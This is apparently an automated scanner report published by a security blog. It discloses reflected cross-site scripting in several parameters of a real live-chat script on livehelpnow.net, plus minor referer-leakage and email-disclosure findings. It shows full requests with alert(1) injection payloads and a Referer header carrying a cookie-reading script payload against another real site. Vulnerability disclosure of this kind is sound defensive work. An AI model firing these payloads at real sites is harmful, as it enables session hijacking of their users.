XSS, www.livehelpnow.com, Cross Site Scripting, CWe-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX Research Blog at Sat Mar 05 11:18:44 CST 2011.

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1. Cross-site scripting (reflected)

1.1. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [lhnid parameter]

1.2. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [lhnid parameter]

1.3. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [t parameter]

1.4. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [zimg parameter]

2. Cross-domain Referer leakage

3. Email addresses disclosed


1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [lhnid parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.livehelpnow.net
Path:   /lhn/scripts/lhnvisitor.aspx

Issue detail

The value of the lhnid request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 74dbd%3balert(1)//bc1be241729 was submitted in the lhnid parameter. This input was echoed as 74dbd;alert(1)//bc1be241729 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /lhn/scripts/lhnvisitor.aspx?div=&zimg=60&lhnid=128874dbd%3balert(1)//bc1be241729&iv=&custom1=&custom2=&custom3=&t=f HTTP/1.1
Host: www.livehelpnow.net
Proxy-Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php?40caf%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E570f923664=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Sat, 26 Feb 2011 14:15:54 GMT
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Vary: Accept-Encoding
Content-Length: 9812


var lhnTrack='f';
if (typeof lhnInstalled !='undefined'){lhnTrack='f'}
var lhnInstalled=1;
var InviteRepeats;
var zbrepeat=1;
var bInvited=0;
var bLHNOnline=0;
InviteRepeats=0;

function pa
...[SNIP]...
<!--HTTPS OR NOT: RELEASENOTE-->
   if (document.location.protocol=='https:')
   {
       window.open('https://www.livehelpnow.net/lhn/livechatvisitor.aspx?zzwindow=' + lhnwindow + '&lhnid=' + 128874dbd;alert(1)//bc1be241729 + '&d=' + 0,'lhnchat','left=' + wleft + ',top=' + wtop + ',width=580,height=435,toolbar=no,location=no,directories=no,status=yes,menubar=no,scrollbars=' + sScrollbars + ',copyhistory=no,resizable=yes'
...[SNIP]...
1.2. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [lhnid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.livehelpnow.net
Path:   /lhn/scripts/lhnvisitor.aspx

Issue detail

The value of the lhnid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4fed0"%3balert(1)//c80c608b952 was submitted in the lhnid parameter. This input was echoed as 4fed0";alert(1)//c80c608b952 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /lhn/scripts/lhnvisitor.aspx?div=&zimg=60&lhnid=12884fed0"%3balert(1)//c80c608b952&iv=&custom1=&custom2=&custom3=&t=f HTTP/1.1
Host: www.livehelpnow.net
Proxy-Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php?40caf%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E570f923664=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Sat, 26 Feb 2011 14:15:54 GMT
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Vary: Accept-Encoding
Content-Length: 9822


var lhnTrack='f';
if (typeof lhnInstalled !='undefined'){lhnTrack='f'}
var lhnInstalled=1;
var InviteRepeats;
var zbrepeat=1;
var bInvited=0;
var bLHNOnline=0;
InviteRepeats=0;

function pa
...[SNIP]...
<img style='position:absolute;top:-5000px;left:-5000px;' width='1' height='1' src='https://www.livehelpnow.net/lhn/jsutil/showninvitationmessage.aspx?iplhnid=173.193.214.243|12884fed0";alert(1)//c80c608b952|2/26/2011 9:15:54 AM' />
...[SNIP]...
1.3. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [t parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.livehelpnow.net
Path:   /lhn/scripts/lhnvisitor.aspx

Issue detail

The value of the t request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 93b1c'%3balert(1)//2105fc1f4f4 was submitted in the t parameter. This input was echoed as 93b1c';alert(1)//2105fc1f4f4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /lhn/scripts/lhnvisitor.aspx?div=&zimg=60&lhnid=1288&iv=&custom1=&custom2=&custom3=&t=f93b1c'%3balert(1)//2105fc1f4f4 HTTP/1.1
Host: www.livehelpnow.net
Proxy-Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php?40caf%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E570f923664=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Sat, 26 Feb 2011 14:16:04 GMT
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Vary: Accept-Encoding
Content-Length: 9570


var lhnTrack='f93b1c';alert(1)//2105fc1f4f4';
if (typeof lhnInstalled !='undefined'){lhnTrack='f'}
var lhnInstalled=1;
var InviteRepeats;
var zbrepeat=1;
var bInvited=0;
var bLHNOnline=0;
InviteRepeats=0;

function pausecomp(millis)

...[SNIP]...
1.4. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [zimg parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.livehelpnow.net
Path:   /lhn/scripts/lhnvisitor.aspx

Issue detail

The value of the zimg request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload d46f1%3balert(1)//fb51e427c5d was submitted in the zimg parameter. This input was echoed as d46f1;alert(1)//fb51e427c5d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /lhn/scripts/lhnvisitor.aspx?div=&zimg=60d46f1%3balert(1)//fb51e427c5d&lhnid=1288&iv=&custom1=&custom2=&custom3=&t=f HTTP/1.1
Host: www.livehelpnow.net
Proxy-Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php?40caf%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E570f923664=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Sat, 26 Feb 2011 14:15:53 GMT
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Vary: Accept-Encoding
Content-Length: 9650


var lhnTrack='f';
if (typeof lhnInstalled !='undefined'){lhnTrack='f'}
var lhnInstalled=1;
var InviteRepeats;
var zbrepeat=1;
var bInvited=0;
var bLHNOnline=0;
InviteRepeats=0;

function pa
...[SNIP]...
mageserver.ashx?lhnid=" + 1288 + "&navname=" + lhnbrowser + "&java=" + lhnjava + "&referrer=" + lhnreferrer + "&pagetitle=" + lhnpagetitle + "&pageurl=" + lhnsPath + "&page=" + lhnsPage + "&zimg=" + 60d46f1;alert(1)//fb51e427c5d + "&sres=" + lhnsRes + "&sdepth=" + lhnsDepth + "&flash=" + lhnflashversion + "&custom1=&custom2=&custom3=&t=" +lhnTrack + "&d=&rndstr=" + lhnrand_no + "'>
...[SNIP]...
2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.livehelpnow.net
Path:   /lhn/functions/imageserver.ashx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /lhn/functions/imageserver.ashx?lhnid=1288&navname=Google%20Chrome&java=Yes&referrer=http%3A//burp/show/20&pagetitle=Barracuda%20Networks%20-%20Worldwide%20leader%20in%20email%20and%20Web%20security&pageurl=http%3A//www.barracudanetworks.com/ns/products/web-application-controller-overview.php%3F40caf%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E570f923664%3D1&page=web-application-controller-overview.php&zimg=60&sres=1920x1200&sdepth=16&flash=0&custom1=&custom2=&custom3=&t=f&d=&rndstr=0.32559435232542455 HTTP/1.1
Host: www.livehelpnow.net
Proxy-Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php?40caf%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E570f923664=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 14:15:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: https://www.barracudanetworks.com/ns/gfx/1x1.gif
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 165

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='https://www.barracudanetworks.com/ns/gfx/1x1.gif'>here</a>.</h2>
</body></html>
3. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.livehelpnow.net
Path:   /lhn/scripts/lhnvisitor.aspx

Issue detail

The following email addresses were disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /lhn/scripts/lhnvisitor.aspx?div=&zimg=60&lhnid=1288&iv=&custom1=&custom2=&custom3=&t=f HTTP/1.1
Host: www.livehelpnow.net
Proxy-Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php?40caf%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E570f923664=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Sat, 26 Feb 2011 14:15:39 GMT
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Vary: Accept-Encoding
Content-Length: 9542


var lhnTrack='f';
if (typeof lhnInstalled !='undefined'){lhnTrack='f'}
var lhnInstalled=1;
var InviteRepeats;
var zbrepeat=1;
var bInvited=0;
var bLHNOnline=0;
InviteRepeats=0;

function pa
...[SNIP]...
reen.width - 580-32) / 2;
var wtop = (screen.height - 420-96) / 2;
   if (document.location.protocol=='https:')
   {
       window.open('https://www.livehelpnow.net/lhn/livechat.aspx?fullname=Visitor&email=unknown_email@livehelpnow.com&lhnmes=lhn&zzwindow=' + lhnwindow + '&lhnid=' + 1288,'lhnchat','left=' + wleft + ',top=' + wtop + ',width=580,height=435,toolbar=no,location=no,directories=no,status=yes,menubar=no,scrollbars=no,copyhistory=no,resizable=yes');
   }
   else
   {
    window.open('http://www.livehelpnow.net/lhn/livechat.aspx?fullname=Visitor&email=unknown_email@livehelpnow.net&lhnmes=lhn&zzwindow=' + lhnwindow + '&lhnid=' + 1288,'lhnchat','left=' + wleft + ',top=' + wtop + ',width=580,height=435,toolbar=no,location=no,directories=no,status=yes,menubar=no,scrollbars=no,copyh
...[SNIP]...
Report generated by XSS.CX Research Blog at Sat Mar 05 11:18:44 CST 2011.